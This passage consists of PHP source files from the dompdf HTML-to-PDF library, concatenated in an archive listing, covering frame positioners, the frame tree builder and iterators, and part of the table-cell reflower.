 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameReflower\Block;

/**
 * Positions absolutely positioned frames
 */
class Absolute extends AbstractPositioner
{

    /**
     * @param AbstractFrameDecorator $frame
     */
    function position(AbstractFrameDecorator $frame): void
    {
        if ($frame->get_reflower() instanceof Block) {
            $style = $frame->get_style();
            [$cbx, $cby, $cbw, $cbh] = $frame->get_containing_block();

            // If the `top` value is `auto`, the frame will be repositioned
            // after its height has been resolved
            $left = (float) $style->length_in_pt($style->left, $cbw);
            $top = (float) $style->length_in_pt($style->top, $cbh);

            $frame->set_position($cbx + $left, $cby + $top);
        } else {
            // Legacy positioning logic for image and table frames
            // TODO: Resolve dimensions, margins, and offsets similar to the
            // block case in the reflowers and use the simplified logic above
            $style = $frame->get_style();
            $block_parent = $frame->find_block_parent();
            $current_line = $block_parent->get_current_line_box();
    
            list($x, $y, $w, $h) = $frame->get_containing_block();
            $inflow_x = $block_parent->get_content_box()["x"] + $current_line->left + $current_line->w;
            $inflow_y = $current_line->y;

            $top = $style->length_in_pt($style->top, $h);
            $right = $style->length_in_pt($style->right, $w);
            $bottom = $style->length_in_pt($style->bottom, $h);
            $left = $style->length_in_pt($style->left, $w);

            list($width, $height) = [$frame->get_margin_width(), $frame->get_margin_height()];

            $orig_width = $style->get_specified("width");
            $orig_height = $style->get_specified("height");

            /****************************
             *
             * Width auto:
             * ____________| left=auto | left=fixed |
             * right=auto  |     A     |     B      |
             * right=fixed |     C     |     D      |
             *
             * Width fixed:
             * ____________| left=auto | left=fixed |
             * right=auto  |     E     |     F      |
             * right=fixed |     G     |     H      |
             *****************************/

            if ($left === "auto") {
                if ($right === "auto") {
                    // A or E - Keep the frame at the same position
                    $x = $inflow_x;
                } else {
                    if ($orig_width === "auto") {
                        // C
                        $x += $w - $width - $right;
                    } else {
                        // G
                        $x += $w - $width - $right;
                    }
                }
            } else {
                if ($right === "auto") {
                    // B or F
                    $x += (float)$left;
                } else {
                    if ($orig_width === "auto") {
                        // D - TODO change width
                        $x += (float)$left;
                    } else {
                        // H - Everything is fixed: left + width win
                        $x += (float)$left;
                    }
                }
            }

            // The same vertically
            if ($top === "auto") {
                if ($bottom === "auto") {
                    // A or E - Keep the frame at the same position
                    $y = $inflow_y;
                } else {
                    if ($orig_height === "auto") {
                        // C
                        $y += (float)$h - $height - (float)$bottom;
                    } else {
                        // G
                        $y += (float)$h - $height - (float)$bottom;
                    }
                }
            } else {
                if ($bottom === "auto") {
                    // B or F
                    $y += (float)$top;
                } else {
                    if ($orig_height === "auto") {
                        // D - TODO change height
                        $y += (float)$top;
                    } else {
                        // H - Everything is fixed: top + height win
                        $y += (float)$top;
                    }
                }
            }

            $frame->set_position($x, $y);
        }
    }
}
vendor/dompdf/dompdf/src/Positioner/TableCell.php000066600000001452151150443010016045 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\Exception;
use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Table;

/**
 * Positions table cells
 *
 * @package dompdf
 */
class TableCell extends AbstractPositioner
{

    /**
     * @param AbstractFrameDecorator $frame
     */
    function position(AbstractFrameDecorator $frame): void
    {
        $table = Table::find_parent_table($frame);
        if ($table === null) {
            throw new Exception("Parent table not found for table cell");
        }
        $cellmap = $table->get_cellmap();
        $frame->set_position($cellmap->get_frame_position($frame));
    }
}
vendor/dompdf/dompdf/src/Positioner/AbstractPositioner.php000066600000002163151150443010020035 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;

/**
 * Base AbstractPositioner class
 *
 * Defines positioner interface
 *
 * @package dompdf
 */
abstract class AbstractPositioner
{

    /**
     * @param AbstractFrameDecorator $frame
     */
    abstract function position(AbstractFrameDecorator $frame): void;

    /**
     * @param AbstractFrameDecorator $frame
     * @param float                  $offset_x
     * @param float                  $offset_y
     * @param bool                   $ignore_self
     */
    function move(
        AbstractFrameDecorator $frame,
        float $offset_x,
        float $offset_y,
        bool $ignore_self = false
    ): void {
        [$x, $y] = $frame->get_position();

        if (!$ignore_self) {
            $frame->set_position($x + $offset_x, $y + $offset_y);
        }

        foreach ($frame->get_children() as $child) {
            $child->move($offset_x, $offset_y);
        }
    }
}
vendor/dompdf/dompdf/src/Positioner/ListBullet.php000066600000002464151150443010016305 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\ListBullet as ListBulletFrameDecorator;

/**
 * Positions list bullets
 *
 * @package dompdf
 */
class ListBullet extends AbstractPositioner
{
    /**
     * @param ListBulletFrameDecorator $frame
     */
    function position(AbstractFrameDecorator $frame): void
    {
        // List markers are positioned to the left of the border edge of their
        // parent element (FIXME: right for RTL)
        $parent = $frame->get_parent();
        $style = $parent->get_style();
        $cbw = $parent->get_containing_block("w");
        $margin_left = (float) $style->length_in_pt($style->margin_left, $cbw);
        $border_edge = $parent->get_position("x") + $margin_left;

        // This includes the marker indentation
        $x = $border_edge - $frame->get_margin_width();

        // The marker is later vertically aligned with the corresponding line
        // box and its vertical position is fine-tuned in the renderer
        $p = $frame->find_block_parent();
        $y = $p->get_current_line_box()->y;

        $frame->set_position($x, $y);
    }
}
vendor/dompdf/dompdf/src/Positioner/TableRow.php000066600000001353151150443010015735 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;

/**
 * Positions table rows
 *
 * @package dompdf
 */
class TableRow extends AbstractPositioner
{

    /**
     * @param AbstractFrameDecorator $frame
     */
    function position(AbstractFrameDecorator $frame): void
    {
        $cb = $frame->get_containing_block();
        $p = $frame->get_prev_sibling();

        if ($p) {
            $y = $p->get_position("y") + $p->get_margin_height();
        } else {
            $y = $cb["y"];
        }
        $frame->set_position($cb["x"], $y);
    }
}
vendor/dompdf/dompdf/src/Positioner/Block.php000066600000001535151150443010015252 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;

/**
 * Positions block frames
 *
 * @package dompdf
 */
class Block extends AbstractPositioner
{

    function position(AbstractFrameDecorator $frame): void
    {
        $style = $frame->get_style();
        $cb = $frame->get_containing_block();
        $p = $frame->find_block_parent();

        if ($p) {
            $float = $style->float;

            if (!$float || $float === "none") {
                $p->add_line(true);
            }
            $y = $p->get_current_line_box()->y;
        } else {
            $y = $cb["y"];
        }

        $x = $cb["x"];

        $frame->set_position($x, $y);
    }
}
vendor/dompdf/dompdf/src/Positioner/NullPositioner.php000066600000000757151150443010017213 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;

/**
 * Dummy positioner
 *
 * @package dompdf
 */
class NullPositioner extends AbstractPositioner
{

    /**
     * @param AbstractFrameDecorator $frame
     */
    function position(AbstractFrameDecorator $frame): void
    {
        return;
    }
}
vendor/dompdf/dompdf/src/Positioner/Fixed.php000066600000007054151150443010015261 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameReflower\Block;

/**
 * Positions fixely positioned frames
 */
class Fixed extends Absolute
{

    /**
     * @param AbstractFrameDecorator $frame
     */
    function position(AbstractFrameDecorator $frame): void
    {
        if ($frame->get_reflower() instanceof Block) {
            parent::position($frame);
        } else {
            // Legacy positioning logic for image and table frames
            // TODO: Resolve dimensions, margins, and offsets similar to the
            // block case in the reflowers and use the simplified logic above
            $style = $frame->get_style();
            $root = $frame->get_root();
            $initialcb = $root->get_containing_block();
            $initialcb_style = $root->get_style();

            $p = $frame->find_block_parent();
            if ($p) {
                $p->add_line();
            }
            // Compute the margins of the @page style
            $margin_top = (float)$initialcb_style->length_in_pt($initialcb_style->margin_top, $initialcb["h"]);
            $margin_right = (float)$initialcb_style->length_in_pt($initialcb_style->margin_right, $initialcb["w"]);
            $margin_bottom = (float)$initialcb_style->length_in_pt($initialcb_style->margin_bottom, $initialcb["h"]);
            $margin_left = (float)$initialcb_style->length_in_pt($initialcb_style->margin_left, $initialcb["w"]);

            // The needed computed style of the element
            $height = (float)$style->length_in_pt($style->get_specified("height"), $initialcb["h"]);
            $width = (float)$style->length_in_pt($style->get_specified("width"), $initialcb["w"]);

            $top = $style->length_in_pt($style->get_specified("top"), $initialcb["h"]);
            $right = $style->length_in_pt($style->get_specified("right"), $initialcb["w"]);
            $bottom = $style->length_in_pt($style->get_specified("bottom"), $initialcb["h"]);
            $left = $style->length_in_pt($style->get_specified("left"), $initialcb["w"]);

            $y = $margin_top;
            if (isset($top)) {
                $y = (float)$top + $margin_top;
                if ($top === "auto") {
                    $y = $margin_top;
                    if (isset($bottom) && $bottom !== "auto") {
                        $y = $initialcb["h"] - $bottom - $margin_bottom;
                        if ($frame->is_auto_height()) {
                            $y -= $height;
                        } else {
                            $y -= $frame->get_margin_height();
                        }
                    }
                }
            }

            $x = $margin_left;
            if (isset($left)) {
                $x = (float)$left + $margin_left;
                if ($left === "auto") {
                    $x = $margin_left;
                    if (isset($right) && $right !== "auto") {
                        $x = $initialcb["w"] - $right - $margin_right;
                        if ($frame->is_auto_width()) {
                            $x -= $width;
                        } else {
                            $x -= $frame->get_margin_width();
                        }
                    }
                }
            }

            $frame->set_position($x, $y);

            foreach ($frame->get_children() as $child) {
                $child->set_position($x, $y);
            }
        }
    }
}
vendor/dompdf/dompdf/src/Positioner/Inline.php000066600000003325151150443010015435 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Positioner;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Inline as InlineFrameDecorator;
use Dompdf\Exception;
use Dompdf\Helpers;

/**
 * Positions inline frames
 *
 * @package dompdf
 */
class Inline extends AbstractPositioner
{

    /**
     * @param AbstractFrameDecorator $frame
     * @throws Exception
     */
    function position(AbstractFrameDecorator $frame): void
    {
        // Find our nearest block level parent and access its lines property
        $block = $frame->find_block_parent();
        $cb = $frame->get_containing_block();

        if (!$block) {
            // FIXME: An inline frame without block parent should not be
            // possible, but this can occur currently when the body is styled
            // with `display: inline !important;` or `display: inline-block !important;`
            $frame->set_position($cb["x"], $cb["y"]);
            return;
        }

        $line = $block->get_current_line_box();

        if (!$frame->is_text_node() && !($frame instanceof InlineFrameDecorator)) {
            // Atomic inline boxes and replaced inline elements
            // (inline-block, inline-table, img etc.)
            $width = $frame->get_margin_width();
            $available_width = $cb["w"] - $line->left - $line->w - $line->right;

            if (Helpers::lengthGreater($width, $available_width)) {
                $block->add_line();
                $line = $block->get_current_line_box();
            }
        }

        $frame->set_position($cb["x"] + $line->w, $line->y);
    }
}
vendor/dompdf/dompdf/src/Frame/FrameTreeIterator.php000066600000003035151150443010016500 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Frame;

use Iterator;
use Dompdf\Frame;

/**
 * Pre-order Iterator
 *
 * Returns frames in preorder traversal order (parent then children)
 *
 * @package dompdf
 */
class FrameTreeIterator implements Iterator
{
    /**
     * @var Frame
     */
    protected $_root;

    /**
     * @var Frame[]
     */
    protected $_stack = [];

    /**
     * @var int
     */
    protected $_num;

    /**
     * @param Frame $root
     */
    public function __construct(Frame $root)
    {
        $this->_stack[] = $this->_root = $root;
        $this->_num = 0;
    }

    public function rewind(): void
    {
        $this->_stack = [$this->_root];
        $this->_num = 0;
    }

    /**
     * @return bool
     */
    public function valid(): bool
    {
        return count($this->_stack) > 0;
    }

    /**
     * @return int
     */
    public function key(): int
    {
        return $this->_num;
    }

    /**
     * @return Frame
     */
    public function current(): Frame
    {
        return end($this->_stack);
    }

    public function next(): void
    {
        $b = array_pop($this->_stack);
        $this->_num++;

        // Push all children onto the stack in reverse order
        if ($c = $b->get_last_child()) {
            $this->_stack[] = $c;
            while ($c = $c->get_prev_sibling()) {
                $this->_stack[] = $c;
            }
        }
    }
}
vendor/dompdf/dompdf/src/Frame/Factory.php000066600000020055151150443010014524 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Frame;

use Dompdf\Dompdf;
use Dompdf\Exception;
use Dompdf\Frame;
use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Page as PageFrameDecorator;
use Dompdf\FrameReflower\Page as PageFrameReflower;
use Dompdf\Positioner\AbstractPositioner;
use DOMXPath;

/**
 * Contains frame decorating logic
 *
 * This class is responsible for assigning the correct {@link AbstractFrameDecorator},
 * {@link AbstractPositioner}, and {@link AbstractFrameReflower} objects to {@link Frame}
 * objects.  This is determined primarily by the Frame's display type, but
 * also by the Frame's node's type (e.g. DomElement vs. #text)
 *
 * @package dompdf
 */
class Factory
{

    /**
     * Array of positioners for specific frame types
     *
     * @var AbstractPositioner[]
     */
    protected static $_positioners;

    /**
     * Decorate the root Frame
     *
     * @param Frame  $root   The frame to decorate
     * @param Dompdf $dompdf The dompdf instance
     *
     * @return PageFrameDecorator
     */
    public static function decorate_root(Frame $root, Dompdf $dompdf): PageFrameDecorator
    {
        $frame = new PageFrameDecorator($root, $dompdf);
        $frame->set_reflower(new PageFrameReflower($frame));
        $root->set_decorator($frame);

        return $frame;
    }

    /**
     * Decorate a Frame
     *
     * @param Frame      $frame  The frame to decorate
     * @param Dompdf     $dompdf The dompdf instance
     * @param Frame|null $root   The root of the frame
     *
     * @throws Exception
     * @return AbstractFrameDecorator|null
     * FIXME: this is admittedly a little smelly...
     */
    public static function decorate_frame(Frame $frame, Dompdf $dompdf, ?Frame $root = null): ?AbstractFrameDecorator
    {
        $style = $frame->get_style();
        $display = $style->display;

        switch ($display) {

            case "block":
                $positioner = "Block";
                $decorator = "Block";
                $reflower = "Block";
                break;

            case "inline-block":
                $positioner = "Inline";
                $decorator = "Block";
                $reflower = "Block";
                break;

            case "inline":
                $positioner = "Inline";
                if ($frame->is_text_node()) {
                    $decorator = "Text";
                    $reflower = "Text";
                } else {
                    $decorator = "Inline";
                    $reflower = "Inline";
                }
                break;

            case "table":
                $positioner = "Block";
                $decorator = "Table";
                $reflower = "Table";
                break;

            case "inline-table":
                $positioner = "Inline";
                $decorator = "Table";
                $reflower = "Table";
                break;

            case "table-row-group":
            case "table-header-group":
            case "table-footer-group":
                $positioner = "NullPositioner";
                $decorator = "TableRowGroup";
                $reflower = "TableRowGroup";
                break;

            case "table-row":
                $positioner = "NullPositioner";
                $decorator = "TableRow";
                $reflower = "TableRow";
                break;

            case "table-cell":
                $positioner = "TableCell";
                $decorator = "TableCell";
                $reflower = "TableCell";
                break;

            case "list-item":
                $positioner = "Block";
                $decorator = "Block";
                $reflower = "Block";
                break;

            case "-dompdf-list-bullet":
                if ($style->list_style_position === "inside") {
                    $positioner = "Inline";
                } else {
                    $positioner = "ListBullet";
                }

                if ($style->list_style_image !== "none") {
                    $decorator = "ListBulletImage";
                } else {
                    $decorator = "ListBullet";
                }

                $reflower = "ListBullet";
                break;

            case "-dompdf-image":
                $positioner = "Inline";
                $decorator = "Image";
                $reflower = "Image";
                break;

            case "-dompdf-br":
                $positioner = "Inline";
                $decorator = "Inline";
                $reflower = "Inline";
                break;

            default:
            case "none":
                if ($style->_dompdf_keep !== "yes") {
                    // Remove the node and the frame
                    $frame->get_parent()->remove_child($frame);
                    return null;
                }

                $positioner = "NullPositioner";
                $decorator = "NullFrameDecorator";
                $reflower = "NullFrameReflower";
                break;
        }

        // Handle CSS position
        $position = $style->position;

        if ($position === "absolute") {
            $positioner = "Absolute";
        } elseif ($position === "fixed") {
            $positioner = "Fixed";
        }

        $node = $frame->get_node();

        // Handle nodeName
        if ($node->nodeName === "img") {
            $style->set_prop("display", "-dompdf-image");
            $decorator = "Image";
            $reflower = "Image";
        }

        $decorator  = "Dompdf\\FrameDecorator\\$decorator";
        $reflower   = "Dompdf\\FrameReflower\\$reflower";

        /** @var AbstractFrameDecorator $deco */
        $deco = new $decorator($frame, $dompdf);

        $deco->set_positioner(self::getPositionerInstance($positioner));
        $deco->set_reflower(new $reflower($deco, $dompdf->getFontMetrics()));

        if ($root) {
            $deco->set_root($root);
        }

        if ($display === "list-item") {
            // Insert a list-bullet frame
            $xml = $dompdf->getDom();
            $bullet_node = $xml->createElement("bullet"); // arbitrary choice
            $b_f = new Frame($bullet_node);

            $node = $frame->get_node();
            $parent_node = $node->parentNode;
            if ($parent_node && $parent_node instanceof \DOMElement) {
                if (!$parent_node->hasAttribute("dompdf-children-count")) {
                    $xpath = new DOMXPath($xml);
                    $count = $xpath->query("li", $parent_node)->length;
                    $parent_node->setAttribute("dompdf-children-count", $count);
                }

                if (is_numeric($node->getAttribute("value"))) {
                    $index = intval($node->getAttribute("value"));
                } else {
                    if (!$parent_node->hasAttribute("dompdf-counter")) {
                        $index = ($parent_node->hasAttribute("start") ? $parent_node->getAttribute("start") : 1);
                    } else {
                        $index = (int)$parent_node->getAttribute("dompdf-counter") + 1;
                    }
                }

                $parent_node->setAttribute("dompdf-counter", $index);
                $bullet_node->setAttribute("dompdf-counter", $index);
            }

            $new_style = $dompdf->getCss()->create_style();
            $new_style->set_prop("display", "-dompdf-list-bullet");
            $new_style->inherit($style);
            $b_f->set_style($new_style);

            $deco->prepend_child(Factory::decorate_frame($b_f, $dompdf, $root));
        }

        return $deco;
    }

    /**
     * Creates Positioners
     *
     * @param string $type Type of positioner to use
     *
     * @return AbstractPositioner
     */
    protected static function getPositionerInstance(string $type): AbstractPositioner
    {
        if (!isset(self::$_positioners[$type])) {
            $class = '\\Dompdf\\Positioner\\'.$type;
            self::$_positioners[$type] = new $class();
        }
        return self::$_positioners[$type];
    }
}
vendor/dompdf/dompdf/src/Frame/FrameListIterator.php000066600000003630151150443010016515 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Frame;

use Iterator;
use Dompdf\Frame;

/**
 * Linked-list Iterator
 *
 * Returns children in order and allows for the list to change during iteration,
 * provided the changes occur to or after the current element.
 *
 * @package dompdf
 */
class FrameListIterator implements Iterator
{
    /**
     * @var Frame
     */
    protected $parent;

    /**
     * @var Frame|null
     */
    protected $cur;

    /**
     * @var Frame|null
     */
    protected $prev;

    /**
     * @var int
     */
    protected $num;

    /**
     * @param Frame $frame
     */
    public function __construct(Frame $frame)
    {
        $this->parent = $frame;
        $this->rewind();
    }

    public function rewind(): void
    {
        $this->cur = $this->parent->get_first_child();
        $this->prev = null;
        $this->num = 0;
    }

    /**
     * @return bool
     */
    public function valid(): bool
    {
        return $this->cur !== null;
    }

    /**
     * @return int
     */
    public function key(): int
    {
        return $this->num;
    }

    /**
     * @return Frame|null
     */
    public function current(): ?Frame
    {
        return $this->cur;
    }

    public function next(): void
    {
        if ($this->cur === null) {
            return;
        }

        if ($this->cur->get_parent() === $this->parent) {
            $this->prev = $this->cur;
            $this->cur = $this->cur->get_next_sibling();
            $this->num++;
        } else {
            // Continue from the previous child if the current frame has been
            // moved to another parent
            $this->cur = $this->prev !== null
                ? $this->prev->get_next_sibling()
                : $this->parent->get_first_child();
        }
    }
}
vendor/dompdf/dompdf/src/Frame/FrameTree.php000066600000021454151150443010014773 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Frame;

use DOMDocument;
use DOMNode;
use DOMElement;
use DOMXPath;

use Dompdf\Exception;
use Dompdf\Frame;
use IteratorAggregate;

/**
 * Represents an entire document as a tree of frames
 *
 * The FrameTree consists of {@link Frame} objects each tied to specific
 * DOMNode objects in a specific DomDocument.  The FrameTree has the same
 * structure as the DomDocument, but adds additional capabilities for
 * styling and layout.
 *
 * @package dompdf
 */
class FrameTree implements IteratorAggregate
{
    /**
     * Tags to ignore while parsing the tree
     *
     * @var array
     */
    protected static $HIDDEN_TAGS = [
        "area",
        "base",
        "basefont",
        "head",
        "style",
        "meta",
        "title",
        "colgroup",
        "noembed",
        "param",
        "#comment"
    ];

    /**
     * The main DomDocument
     *
     * @see http://ca2.php.net/manual/en/ref.dom.php
     * @var DOMDocument
     */
    protected $_dom;

    /**
     * The root node of the FrameTree.
     *
     * @var Frame
     */
    protected $_root;

    /**
     * Subtrees of absolutely positioned elements
     *
     * @var array of Frames
     */
    protected $_absolute_frames;

    /**
     * A mapping of {@link Frame} objects to DOMNode objects
     *
     * @var array
     */
    protected $_registry;

    /**
     * Class constructor
     *
     * @param DOMDocument $dom the main DomDocument object representing the current html document
     */
    public function __construct(DomDocument $dom)
    {
        $this->_dom = $dom;
        $this->_root = null;
        $this->_registry = [];
    }

    /**
     * Returns the DOMDocument object representing the current html document
     *
     * @return DOMDocument
     */
    public function get_dom()
    {
        return $this->_dom;
    }

    /**
     * Returns the root frame of the tree
     *
     * @return Frame
     */
    public function get_root()
    {
        return $this->_root;
    }

    /**
     * Returns a specific frame given its id
     *
     * @param string $id
     *
     * @return Frame|null
     */
    public function get_frame($id)
    {
        return isset($this->_registry[$id]) ? $this->_registry[$id] : null;
    }

    /**
     * Returns a post-order iterator for all frames in the tree
     *
     * @deprecated Iterate the tree directly instead
     * @return FrameTreeIterator
     */
    public function get_frames(): FrameTreeIterator
    {
        return new FrameTreeIterator($this->_root);
    }

    /**
     * Returns a post-order iterator for all frames in the tree
     *
     * @return FrameTreeIterator
     */
    public function getIterator(): FrameTreeIterator
    {
        return new FrameTreeIterator($this->_root);
    }

    /**
     * Builds the tree
     */
    public function build_tree()
    {
        $html = $this->_dom->getElementsByTagName("html")->item(0);
        if (is_null($html)) {
            $html = $this->_dom->firstChild;
        }

        if (is_null($html)) {
            throw new Exception("Requested HTML document contains no data.");
        }

        $this->fix_tables();

        $this->_root = $this->_build_tree_r($html);
    }

    /**
     * Adds missing TBODYs around TR
     */
    protected function fix_tables()
    {
        $xp = new DOMXPath($this->_dom);

        // Move table caption before the table
        // FIXME find a better way to deal with it...
        $captions = $xp->query('//table/caption');
        foreach ($captions as $caption) {
            $table = $caption->parentNode;
            $table->parentNode->insertBefore($caption, $table);
        }

        $firstRows = $xp->query('//table/tr[1]');
        /** @var DOMElement $tableChild */
        foreach ($firstRows as $tableChild) {
            $tbody = $this->_dom->createElement('tbody');
            $tableNode = $tableChild->parentNode;
            do {
                if ($tableChild->nodeName === 'tr') {
                    $tmpNode = $tableChild;
                    $tableChild = $tableChild->nextSibling;
                    $tableNode->removeChild($tmpNode);
                    $tbody->appendChild($tmpNode);
                } else {
                    if ($tbody->hasChildNodes() === true) {
                        $tableNode->insertBefore($tbody, $tableChild);
                        $tbody = $this->_dom->createElement('tbody');
                    }
                    $tableChild = $tableChild->nextSibling;
                }
            } while ($tableChild);
            if ($tbody->hasChildNodes() === true) {
                $tableNode->appendChild($tbody);
            }
        }
    }

    // FIXME: temporary hack, preferably we will improve rendering of sequential #text nodes
    /**
     * Remove a child from a node
     *
     * Remove a child from a node. If the removed node results in two
     * adjacent #text nodes then combine them.
     *
     * @param DOMNode $node the current DOMNode being considered
     * @param array $children an array of nodes that are the children of $node
     * @param int $index index from the $children array of the node to remove
     */
    protected function _remove_node(DOMNode $node, array &$children, $index)
    {
        $child = $children[$index];
        $previousChild = $child->previousSibling;
        $nextChild = $child->nextSibling;
        $node->removeChild($child);
        if (isset($previousChild, $nextChild)) {
            if ($previousChild->nodeName === "#text" && $nextChild->nodeName === "#text") {
                $previousChild->nodeValue .= $nextChild->nodeValue;
                $this->_remove_node($node, $children, $index+1);
            }
        }
        array_splice($children, $index, 1);
    }

    /**
     * Recursively adds {@link Frame} objects to the tree
     *
     * Recursively build a tree of Frame objects based on a dom tree.
     * No layout information is calculated at this time, although the
     * tree may be adjusted (i.e. nodes and frames for generated content
     * and images may be created).
     *
     * @param DOMNode $node the current DOMNode being considered
     *
     * @return Frame
     */
    protected function _build_tree_r(DOMNode $node)
    {
        $frame = new Frame($node);
        $id = $frame->get_id();
        $this->_registry[$id] = $frame;

        if (!$node->hasChildNodes()) {
            return $frame;
        }

        // Store the children in an array so that the tree can be modified
        $children = [];
        $length = $node->childNodes->length;
        for ($i = 0; $i < $length; $i++) {
            $children[] = $node->childNodes->item($i);
        }
        $index = 0;
        // INFO: We don't advance $index if a node is removed to avoid skipping nodes
        while ($index < count($children)) {
            $child = $children[$index];
            $nodeName = strtolower($child->nodeName);

            // Skip non-displaying nodes
            if (in_array($nodeName, self::$HIDDEN_TAGS)) {
                if ($nodeName !== "head" && $nodeName !== "style") {
                    $this->_remove_node($node, $children, $index);
                } else {
                    $index++;
                }
                continue;
            }
            // Skip empty text nodes
            if ($nodeName === "#text" && $child->nodeValue === "") {
                $this->_remove_node($node, $children, $index);
                continue;
            }
            // Skip empty image nodes
            if ($nodeName === "img" && $child->getAttribute("src") === "") {
                $this->_remove_node($node, $children, $index);
                continue;
            }

            if (is_object($child)) {
                $frame->append_child($this->_build_tree_r($child), false);
            }
            $index++;
        }

        return $frame;
    }

    /**
     * @param DOMElement $node
     * @param DOMElement $new_node
     * @param string $pos
     *
     * @return mixed
     */
    public function insert_node(DOMElement $node, DOMElement $new_node, $pos)
    {
        if ($pos === "after" || !$node->firstChild) {
            $node->appendChild($new_node);
        } else {
            $node->insertBefore($new_node, $node->firstChild);
        }

        $this->_build_tree_r($new_node);

        $frame_id = $new_node->getAttribute("frame_id");
        $frame = $this->get_frame($frame_id);

        $parent_id = $node->getAttribute("frame_id");
        $parent = $this->get_frame($parent_id);

        if ($parent) {
            if ($pos === "before") {
                $parent->prepend_child($frame, false);
            } else {
                $parent->append_child($frame, false);
            }
        }

        return $frame_id;
    }
}
vendor/dompdf/dompdf/src/FrameReflower/TableCell.php000066600000012001151150443010016442 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Exception;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Table as TableFrameDecorator;
use Dompdf\FrameDecorator\TableCell as TableCellFrameDecorator;
use Dompdf\Helpers;

/**
 * Reflows table cells
 *
 * @package dompdf
 */
class TableCell extends Block
{
    /**
     * TableCell constructor.
     * @param BlockFrameDecorator $frame
     */
    function __construct(BlockFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        /** @var TableCellFrameDecorator */
        $frame = $this->_frame;
        $table = TableFrameDecorator::find_parent_table($frame);
        if ($table === null) {
            throw new Exception("Parent table not found for table cell");
        }

        // Counters and generated content
        $this->_set_content();

        $style = $frame->get_style();
        $cellmap = $table->get_cellmap();

        [$x, $y] = $cellmap->get_frame_position($frame);
        $frame->set_position($x, $y);

        $cells = $cellmap->get_spanned_cells($frame);

        $w = 0;
        foreach ($cells["columns"] as $i) {
            $col = $cellmap->get_column($i);
            $w += $col["used-width"];
        }

        //FIXME?
        $h = $frame->get_containing_block("h");

        $left_space = (float)$style->length_in_pt([$style->margin_left,
                $style->padding_left,
                $style->border_left_width],
            $w);

        $right_space = (float)$style->length_in_pt([$style->padding_right,
                $style->margin_right,
                $style->border_right_width],
            $w);

        $top_space = (float)$style->length_in_pt([$style->margin_top,
                $style->padding_top,
                $style->border_top_width],
            $h);
        $bottom_space = (float)$style->length_in_pt([$style->margin_bottom,
                $style->padding_bottom,
                $style->border_bottom_width],
            $h);

        $cb_w = $w - $left_space - $right_space;
        $style->set_used("width", $cb_w);

        $content_x = $x + $left_space;
        $content_y = $line_y = $y + $top_space;

        // Adjust the first line based on the text-indent property
        $indent = (float)$style->length_in_pt($style->text_indent, $w);
        $frame->increase_line_width($indent);

        $page = $frame->get_root();

        // Set the y position of the first line in the cell
        $line_box = $frame->get_current_line_box();
        $line_box->y = $line_y;

        // Set the containing blocks and reflow each child
        foreach ($frame->get_children() as $child) {
            $child->set_containing_block($content_x, $content_y, $cb_w, $h);
            $this->process_clear($child);
            $child->reflow($frame);
            $this->process_float($child, $content_x, $cb_w);

            if ($page->is_full()) {
                break;
            }
        }

        // Determine our height
        $style_height = (float) $style->length_in_pt($style->height, $h);
        $content_height = $this->_calculate_content_height();
        $height = max($style_height, $content_height);

        $frame->set_content_height($content_height);

        // Let the cellmap know our height
